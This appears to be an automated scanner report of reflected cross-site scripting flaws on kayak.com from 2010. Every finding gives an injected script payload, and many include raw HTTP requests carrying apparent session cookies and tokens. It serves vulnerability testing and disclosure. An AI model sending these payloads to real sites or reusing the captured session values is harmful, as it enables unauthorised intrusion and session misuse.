This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<p> Your browser sent a request that this ser ...[SNIP]... <br> Request: /v349ce3ca<script>alert(1)</script>b76e0401570/js/streaming.js</br> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 4a904<script>alert(1)</script>382846f9604 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<p> Your browser sent a request that this ser ...[SNIP]... <br> Request: /v3494a904<script>alert(1)</script>382846f9604/js/vacation.js</br> ...[SNIP]...
The value of the action request parameter is copied into an HTML comment. The payload b665d--><script>alert(1)</script>11db4d13c1 was submitted in the action parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 65cd4<script>alert(1)</script>6df4b50a5fe was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 16acb<script>alert(1)</script>958b81ebcec was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 4bfd2<script>alert(1)</script>26997567ae3 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 645fd<script>alert(1)</script>757d1d1a68c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /flights HTTP/1.1 Host: www.kayak.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?hl=en&q=645fd<script>alert(1)</script>757d1d1a68c Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sc=2; p1.med.searched=true; p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; dc=dc2; cluster=4
The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 371e5<script>alert(1)</script>a9b88f1ad7e was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /h/ads/results HTTP/1.1 Host: www.kayak.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)371e5<script>alert(1)</script>a9b88f1ad7e Connection: close Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 3eee3<script>alert(1)</script>0125bda1088 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /h/elanding HTTP/1.1 Host: www.kayak.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; Referer: http://www.google.com/search?hl=en&q=3eee3<script>alert(1)</script>0125bda1088
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload e1962<script>alert(1)</script>0f174ff3e845dbbd4 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 527e7<script>alert(1)</script>2438d529b79 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /hotels HTTP/1.1 Host: www.kayak.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; Referer: http://www.google.com/search?hl=en&q=527e7<script>alert(1)</script>2438d529b79
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload bd1c2<script>alert(1)</script>eb9321de404 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 9c59b<script>alert(1)</script>d3ad939d323 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload bccbd<script>alert(1)</script>9e31d4d397f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 66000<script>alert(1)</script>946418ca534 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 18813<script>alert(1)</script>9f506760271 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /s/search/car HTTP/1.1 Host: www.kayak.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; Referer: http://www.google.com/search?hl=en&q=18813<script>alert(1)</script>9f506760271
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 48e8e"><a>4d530056aab was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 98da2<script>alert(1)</script>28ea69dba76 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /s/sparkle HTTP/1.1 Host: www.kayak.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)98da2<script>alert(1)</script>28ea69dba76 Connection: close Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/plain; charset=UTF-8 Date: Sat, 13 Nov 2010 20:43:44 GMT Content-Length: 9523 Connection: close Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/ Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload f5579<script>alert(1)</script>5bee717ac4c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 8713d<script>alert(1)</script>8b161f1ef9b was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /vs/client%20page%20load/final%20results/car/ms/23345 HTTP/1.1 Host: www.kayak.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)8713d<script>alert(1)</script>8b161f1ef9b Connection: close Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/plain; charset=UTF-8 Date: Sat, 13 Nov 2010 20:46:33 GMT Content-Length: 9647 Connection: close Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/ Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 1bed3<script>alert(1)</script>c6758e051e0 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /vs/client%20page%20load/final%20results/hotel/ms/17578 HTTP/1.1 Host: www.kayak.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)1bed3<script>alert(1)</script>c6758e051e0 Connection: close Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/plain; charset=UTF-8 Date: Sat, 13 Nov 2010 20:46:30 GMT Content-Length: 9651 Connection: close Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/ Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 54352<script>alert(1)</script>8b20156d8c was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /vs/client%20page%20load/final%20results/vacation/ms/9906 HTTP/1.1 Host: www.kayak.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)54352<script>alert(1)</script>8b20156d8c Connection: close Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/plain; charset=UTF-8 Date: Sat, 13 Nov 2010 20:46:34 GMT Content-Length: 9653 Connection: close Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/ Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 321cd<script>alert(1)</script>91533aba3de was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /vs/client%20page%20load/front%20door/flights/ms/475 HTTP/1.1 Host: www.kayak.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)321cd<script>alert(1)</script>91533aba3de Connection: close Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/plain; charset=UTF-8 Date: Sat, 13 Nov 2010 20:46:10 GMT Content-Length: 9645 Connection: close Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/ Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 927bc<script>alert(1)</script>2bb1db32761 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /vs/client%20page%20load/front%20door/hotels/ms/3297 HTTP/1.1 Host: www.kayak.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)927bc<script>alert(1)</script>2bb1db32761 Connection: close Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/plain; charset=UTF-8 Date: Sat, 13 Nov 2010 20:45:47 GMT Content-Length: 9645 Connection: close Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/ Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 5d976<script>alert(1)</script>0bb33d80cf7 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /vs/client%20page%20load/front%20door/hotels/ms/731 HTTP/1.1 Host: www.kayak.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)5d976<script>alert(1)</script>0bb33d80cf7 Connection: close Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/plain; charset=UTF-8 Date: Sat, 13 Nov 2010 20:46:15 GMT Content-Length: 9643 Connection: close Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/ Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b0e3"><a>3a109253d5b was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /vs/client%20page%20load/front%20door/vacations/ms/10018 HTTP/1.1 Host: www.kayak.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-TWVpsjgNEOyAenDsVTMX; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=CWws4BMUH2Tvc1RIPMoQ6w; Referer: http://www.google.com/search?hl=en&q=2b0e3"><a>3a109253d5b
The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload feab8<script>alert(1)</script>79d4fc22906 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /vs/client%20page%20load/front%20door/vacations/ms/602 HTTP/1.1 Host: www.kayak.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)feab8<script>alert(1)</script>79d4fc22906 Connection: close Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/plain; charset=UTF-8 Date: Sat, 13 Nov 2010 20:46:26 GMT Content-Length: 9649 Connection: close Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/ Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 934d3<script>alert(1)</script>77953802dca was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /vs/cmpallclk.hotels HTTP/1.1 Host: www.kayak.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)934d3<script>alert(1)</script>77953802dca Connection: close Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/plain; charset=UTF-8 Date: Sat, 13 Nov 2010 20:46:40 GMT Content-Length: 9567 Connection: close Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/ Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
The value of the Apache cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2df21"-alert(1)-"94d4e606bb1 was submitted in the Apache cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
